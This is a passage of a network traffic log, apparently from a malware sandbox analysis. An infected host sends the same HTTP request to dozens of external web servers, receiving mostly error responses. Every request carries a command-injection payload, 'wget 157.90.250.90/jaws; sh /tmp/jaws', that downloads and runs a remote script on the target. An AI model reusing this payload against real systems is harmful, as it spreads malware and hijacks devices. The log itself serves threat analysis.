Jan 2, 2024 06:25:10.379920006 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:10 GMT Date: Tue, 02 Jan 2024 05:25:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 36 61 38 32 64 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 30 26 23 34 36 3b 31 32 33 66 62 66 65 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.36a82d17.1704173110.123fbfe3</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.23	40702	95.101.194.55	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:10.079629898 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:10.327184916 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:10 GMT Date: Tue, 02 Jan 2024 05:25:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 34 34 62 63 37 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 30 26 23 34 36 3b 37 30 37 39 37 36 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.244bc717.1704173110.7079768</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.23	60092	103.57.209.45	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:10.115853071 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:10.480473042 CET	450	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:20:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.23	43668	143.208.250.11	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:10.207226992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:10.512859106 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 25 Apr 2023 23:44:48 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.23	37284	23.33.51.11	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:10.230053902 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:10.554203033 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:10 GMT Date: Tue, 02 Jan 2024 05:25:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 63 34 64 32 35 30 31 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 30 26 23 34 36 3b 31 39 30 32 32 36 33 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cc4d2501.1704173110.1902263b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.23	60636	104.100.160.203	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:11.730540037 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:11.891784906 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:11 GMT Date: Tue, 02 Jan 2024 05:25:11 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 66 36 35 37 34 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 31 26 23 34 36 3b 61 30 37 62 38 39 32 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ef657468.1704173111.a07b8921</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.23	41080	18.133.47.142	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:11.803956032 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:12.043049097 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.23	35924	46.101.163.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:11.820545912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:12.077538013 CET	500	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:22:40 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 306 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 34 36 2e 31 30 31 2e 31 36 33 2e 31 30 37 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at 46.101.163.107 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.23	42440	52.204.79.202	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:11.888955116 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:12.047091007 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:25:11 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.23	49116	139.59.72.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:11.932825089 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:12.296967030 CET	296	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:12 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.23	47196	18.65.143.95	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:12.172054052 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:12.455580950 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:25:12 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.23	38176	13.236.88.180	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:14.749773026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.23	40972	5.217.213.32	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:14.761574030 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:15.718075037 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:17.637813091 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.541299105 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:29.220256090 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.578026056 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.23	45324	5.217.184.78	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.076575041 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:16.038038015 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:17.957777977 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.797363043 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:29.476145983 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.833983898 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.23	52802	104.100.195.105	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.214191914 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:15.377064943 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:15 GMT Date: Tue, 02 Jan 2024 05:25:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 63 36 39 37 63 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 35 26 23 34 36 3b 33 30 31 37 35 65 34 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4c697c68.1704173115.30175e44</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.23	45384	2.17.176.11	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.290468931 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:15.529839993 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:15 GMT Date: Tue, 02 Jan 2024 05:25:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 35 35 65 36 63 63 31 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 35 26 23 34 36 3b 35 35 36 66 36 37 35 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a55e6cc1.1704173115.556f6750</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.23	54070	34.126.113.76	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.540978909 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
